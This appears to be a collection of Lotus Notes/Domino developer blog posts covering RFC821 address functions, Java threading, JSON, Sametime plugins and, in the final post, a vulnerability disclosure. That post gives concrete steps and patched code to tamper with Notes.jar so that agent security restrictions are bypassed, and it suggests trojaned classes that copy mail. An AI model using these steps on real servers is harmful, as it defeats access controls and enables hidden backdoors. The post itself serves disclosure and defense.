RFC821 address functions in Notes – are they working properly?

I have been trying to use the built-in RFC821 address functions in Notes recently but has given up since they do not work correctly in my mind. A RFC821 – or an internet address – is in my mind composed of a local part (the part before the @-sign) and a period separated domain component (the part after the @-sign). A valid RFC821 address must contain both parts. Valid examples could be:

  • jdoe@example.com
  • john.doe@example.com
  • jdoe@sales.example.com

Notes/Domino has functions in @Formula, LotusScript and Java for working with and validating RFC821 addresses and none work as expected (probably because they all use the same C code). For example all functions will accept “jdoe@example” as a valid RFC821 address – an address which is my mind isn’t valid at all. This fact is further aggravated by the fact that I would expect to use the functions to distinguish between Notes addresses and RFC821 addresses. When the functions “work” as they do I cannot do that since jdoe@example could just as well be a Notes shortname followed by a Domino domain.

Below is a test case for LotusScript (non-blank value should indicate a valid RFC821 address).

Dim nn As New NotesName("jdoe@example.com")
Print nn.Addr821
>> jdoe@example.com
Set nn = New NotesName("jdoe@example")
Print nn.Addr821
>> jdoe@example

The help states:

The RFC 821 address is a name followed by an at sign followed by an organization, for example, jbg@acme.us.com. In an RFC 822 address, it is the part enclosed in pointed brackets.
This property returns an empty string if the name does not contain an RFC 821 Internet address.

In my mind this is just plain wrong.

Show ‘n Tell Thursday: Showing a progress bar / joining threads (24 May 2007)


A fellow developer in the developerWorks forum had an issue where he wanted to load a lot of data and needed a progress bar to indicate progress. His problem was that the main thread terminated before his data loading was done and he needed help.

The solution is to use a data loading thread and Thread.join () the thread to wait for it to complete to avoid the main thread from terminating the agent. If you do not join the thread the main thread will terminate and abort the loading. The joining is bolded in the below code.

To test it out try running the below code with and without the l.join() line below commented out and see how the progress bar never reaches the end when the thread isn’t joined.

Also note that I’m extending NotesThread to avoid dealing with threads etc. in Notes and that the code is no where near production quality!

import lotus.domino.*;
import javax.swing.JDialog;
import javax.swing.JProgressBar;

public class JavaAgent extends AgentBase {
   private static int COUNT = 30;

   public void NotesMain() {

      try {
         // initialize
         Session session = this.getSession();
         AgentContext ac = session.getAgentContext();

         // start thread to similate loading
         Loader l = new Loader();
         l.start();
         for (int i=0; i<COUNT; i++) {
            System.out.println("i=" + i + " (" + session.getUserName() + ")");
            Thread.sleep(100);
         }

         // wait for progress thread
         l.join();

      } catch(Exception e) {
         e.printStackTrace();
      }
   }

   public static class ProgressBar {
      private JDialog dialog = null;
      private JProgressBar bar = null;

      public ProgressBar() {
         dialog = new JDialog();
         bar = new JProgressBar(0, COUNT);
         dialog.getContentPane().add(bar);
         dialog.setSize(250, 40);
      }
      public void visible(boolean flag) {
         dialog.setVisible(flag);
      }
      public void update(int i) {
         this.bar.setValue(i);
         this.bar.updateUI();
      }
      public void dispose() {
         if (this.dialog.isVisible()) {
            this.visible(false);
         }
         this.dialog.dispose();
      }
   }

   public static class Loader extends NotesThread {
      private Session session = null;
      private Database db = null;
      private View view = null;

      public Loader() throws NotesException {
         session = NotesFactory.createSession();
         db = session.getDatabase(null, "names.nsf");
         view = db.getView("People");
      }

      public void runNotes() {
         try {
            ProgressBar b = new ProgressBar();
            b.visible(true);

            for (int i=1; i<=COUNT; i++) {
               Document doc = this.view.getNthDocument(i);
               if (null != doc) {
                  System.out.println("Loaded person: " +
                     doc.getItemValueString("Firstname") +
                     " " + doc.getItemValueString("Lastname"));
               }
               b.update(i);
               Thread.sleep(500);
            }
            b.dispose();

         } catch (Exception e) {
            e.printStackTrace();
         }
      }

   }
}

What’s the future of Java in Notes/Domino?

At Lotusphere 2007 there was a session on the future directions of Java in Lotus Notes and Domino called AD508 (AD508: Java 5 Upgrade for IBM Lotus Notes and Domino). Basically the session discussed the future of Java in Notes/Domino and how IBM is planning to ship Java 5 as part of Notes 8/Domino 8. Unfortunately I haven’t had the time I wanted yet to play around with version 8 yet so I cannot comment on whether Notes/Domino 8 already has Java 5 – the Reviewers Guide says that it has though.

For those not in the know Java 5 introduced a number of new core language features which are definitely worth the upgrade but the most beneficial for me is the enhanced for-loop and generics. There are a number of additional API changes that makes life much nicer from the programmers point of view. This is all well and good but Sun Java is currently in version 6 and have been for a while now and Java 7 is currently being planned and scoped out. Java 6 has a number of additional features that would be nice for Notes/Domino programmers such as JDBC 4, new APIs for web-services and improvements to the Java Platform Debug Architecture (JPDA). Only going to Java 5 in Notes/Domino 8 seems like a bad choice.

Why would IBM not want to go directly to Java 6? It could be that, as of today, IBM hasn’t shipped a Java 6 development kit yet and since IBM probably wants to include their own JDK it might be why. Another reason could be that IBM Lotus Expeditor doesn’t run on a standard JDK but on the IBM J9 VM which is a scaled down version of the JVM with a limited set of API classes. With not even a Java 6 JDK ready I would guess that a Java 6 version of J9 is a long way off. The fact that Lotus Expeditor is based on J9 causes its own set of problems for plug-ins in Sametime 7.5 (as previously mentioned) but that’s another story.

I fear that since Lotus Expeditor now is the base platform for IBM client products and since IBM probably wants to avoid shipping two JVMs with the product they will stick with J9 for some time. Given I don’t know the exact technical reasons for J9 and there are performance to think of as well (JVM reuse for client platform code and client side Java) I find that a real shame. It would be a really big loss.

Suddenly the supported Java version will be tied to the JVM running the client and we as developers and customers will be tied to using back-level APIs. For trivial agents etc. this is probably not going to matter anyway since the Java API hasn’t been updated since its inception. For new code it is going to be a real show-stopper. Most new code and components are created by combining existing (open-source) modules into new code and modules and with most open-source projects being at at least Java 5 by now it is going to cause problems. I know Java 5 and Java 6 are bytecode compatible but requiring additional compatibility libraries are going to be a problem in the long run. Combining this with the Java security restrictions put in place we can find our self running on a monolithic IBM Java platform which hardly was the idea.

So what’s the answer?

It seems more and more like IBM should support custom JVM for at least the server. It would be nice for the client as well but lets be reasonable. It could a solution where there are a number of choices – some choices could be proven and (absurdly) battle-tested (Java 1.3, Java 1.4.2) and some simply following the industry (Java 5, Java 6). I know it probably never will be possible to simply drop a new run-of-the-mill Sun JVM into Domino but this isn’t necessarily the goal. I simply want a JVM that follows along. It might be that it required an additional download and install but at least give me the choice.

As for the Notes 8 client it might be even easier than for the server since the Eclipse foundation already allows for a custom JVM. Why not support running Notes 8 on an already installed JVM? One could even argue that the client would benefit just as much from a JVM upgrade than the server since the Notes 8 client will be a universal client and hence not simply access Notes data. If IBM expects ISV’s to develop Java solutions for Notes 8 they will expect a common programming model for Eclipse/Notes 8 based solutions which comes down to the JVM.

So IBM – please upgrade the JVM or allow for “custom” JVM’s – soon… Oh – and please upgrade the Notes/Domino Java API – who still uses java.util.Vector? Thank you! ๐Ÿ™‚

JSONMap class

I’m starting off with converting some inhouse developed AJAX stuff to using DOJO and for that reason I needed to convert my XML responses to JSON. Using the JSON Java classes this was pretty straight forward but I really needed an easier way to convert a java.util.Map instance to JSON. Extending JSONArray this was easy. Provided here for those who might need similar code…

package org.json;

import java.util.Iterator;
import java.util.Map;

public class JSONMap extends JSONArray {
   public JSONMap(Map m) {
      for (Iterator ite=m.keySet().iterator(); ite.hasNext(); ) {
         String key = (String)ite.next();
         String value = m.get(key).toString();
         JSONArray a = new JSONArray();
         a.put(value);
         a.put(key);
         this.put(a);
      }
   }
}

Code like this

Map m = new HashMap();
m.put("AL", "Alabama");
m.put("AK", "Alaska");
m.put("AR", "Arkansas");
JSONMap jm = new JSONMap(m);
System.out.println(jm.toString());

will output the following JSON

[
    [ "Alabama", "AL" ],
    [ "Alaska", "AK" ],
    [ "Arkansas", "AR" ]
]

Show ‘n Tell Thursday: The missing link for plugging Notes into you Sametime 7.5 plugin (10 January 2007)


When you develop and run plugins for Sametime 7.5 on Windows or Linux you do not use a standard Java Development Kit (JDK) and standard 1.4.2 JVM. Instead you use a slightly modified version called the JCL Desktop JDK and the J9 JVM. The “slightly modified” means that some features have been removed from the JDK to make it “safe” for the Expeditor framework that Sametime 7.5 runs on.

An unfortunate side-effect of this decision is that you cannot use the Notes/Domino API (that is notes.jar or ncso.jar) without resorting to additional libraries. The reason is that the ever present lotus.domino.NotesException inherits from org.omg.CORBA.UserException which is an exception class that has been removed in the modified runtime class library (for more information about lotus.domino.NotesException see my post called Java in Notes/Domino Explained: NotesException).

Fortunately there is a way to remedy that. The solution is to include the ibmorbapi.jar library (can be found in c:Program FilesNotes7Datadominojava on my laptop) in your plugin alongside notes.jar or ncso.jar. The ibmorbapi.jar library is quite large (around 400kb) but I haven’t yet played around with it to see if you could simply get away with including the org.omg-packages.

Now you know why your plugin fails to compile due to indirectly referenced Corba classes.

Anyways – someone who has the ears of the Sametime development team might want to mention this to them. Apart from that – great product and its a joy to develop plugins for Sametime 7.5! ๐Ÿ™‚

Is the security of the Notes/Domino Java implementation questionable? (security vulnerability in the Notes/Domino Java API)

DISCLAIMER
The information below is provided as-is and I cannot be held liable for any damages, direct or indirect, caused by the information in this post or based on the below findings. The information here is offered in the interest of full disclosure. I have been working with IBM Lotus to diagnose and pinpoint the exact consequences of the below findings since May 2006.

Description

As you might know a central security measure in the Notes/Domino security infrastructure is the difference between restricted and unrestricted operations. Only users granted unrestricted access may perform sensitive operations such as disk I/O and manipulating the system clock. The implementation flaw I found in the Java API of Notes/Domino allows me to circumvent these restrictions and hence circumvent the security settings of the Domino server.

As such the guidelines given in this post could also be used to fully replace the Java API and perform additional operations without the knowledge of the owner of the Domino server or Notes client.

Prerequisites

  • Disk access to the Domino server or Notes client or be able to write an agent or other piece of code that may accomplish the task for you.

Steps to reproduce

Below I describe the steps necessary to circumvent the SecurityManager and/or hide malicious code.

  1. Obtain a copy of the Notes.jar file from the Domino server and copy it to a local workstation.
  2. Unpack the archive using the jar-command.
  3. Decompile the code (I used the JODE version 1.1.2-pre2 decompiler from http://jode.sourceforge.net)
  4. Using Eclipse, or similar, edit the code in the constructor of the lotus.notes.AgentSecurityContext class as shown below:
    public AgentSecurityContext(ThreadGroup threadgroup, boolean bool) {
      m_restricted = bool;
      m_file_read = true;
      m_file_write = true;
      m_net_access = true;
      m_class_loader = true;
      m_extern_exec = true;
      m_native_link = true;
      m_system_props = true;
    
      try {
        AgentSecurityManager agentsecuritymanager = (AgentSecurityManager) System
          .getSecurityManager();
        if (agentsecuritymanager != null)
        agentsecuritymanager.newSecurityContext(this, threadgroup);
       } catch (ClassCastException classcastexception) {
         /* empty */
       }
    }
    
  5. Compile the class and replace the version from the unpacked Notes.jar
  6. Create a new Notes.jar with the manipulated code and replace the Notes.jar on the server. You might have to shutdown the server/client to be able to replace the file.

Using a Domino server in a virtual machine I created a text file called readme.txt in the root of the c-drive on the server and ran the below agent as scheduled on the server. The agent tries to read data from the readme.txt file in the root of the c-drive on the local server (Windows 2000 Server). As expected the JVM throws a java.lang.SecurityException using the Notes.jar supplied with the Domino installation. If I replace the Notes.jar supplied by IBM with my manipulated Notes.jar the agent runs to completion without any incident thus circumventing the security measures put in place by the Domino server.

import lotus.domino.*;
import java.io.*;

public class JavaAgent extends AgentBase {
   public void NotesMain() {
      try {
         Session session = getSession();
         AgentContext agentContext = session.getAgentContext();

         System.out.println("Starting to run agent...");
         FileReader r = new FileReader("c:\readme.txt");
         StringBuffer buffer = new StringBuffer();
         char[] data = new char[128];
         r.read(data, 0, 127);
         buffer.append(data);
         System.out.println("File data: " + buffer.toString());
         r.close();

      } catch(Exception e) {
         e.printStackTrace();
      }

      System.out.println("Done running agent...");
   }
}

Consequences

One thing is being able to circumvent the restricted/unrestricted security measure of the Domino server. Another thing is that this can be done without the administrator or users knowing about it.

As mentioned above you might even be able to use the steps to replace some of the core classes (such as the class implementing the Document interface). By doing this you could have the manipulated class send you a copy of all e-mails generated using the Document.send() method or to add a specific user to all reader/author fields being written to documents.

This should be possible since all the Domino API types are interfaces and as such are open for re-implementation. It does however also mean that you have to manipulate the factory methods of the API.

I must stress that I haven’t tried this myself – yet…

Suggestions

Issues like this could be avoided by digitally signing the Notes.jar file provided by IBM and have the Domino server and Notes client verify the signature of the jar-file before loading classes from it. Since a lock is placed on the jar-file by operating system once read (at least on Windows), the impact on performance should be minimal since the jar-file only needs to be checked once.

As an aside I can mention that some of the jar-files provided with the Domino server/Notes client are digitally signed by IBM already:

  • ibmjcefips.jar
  • ibmjceprovider.jar
  • ibmpkcs11.jar
  • ibmpkcs11impl.jar

Resources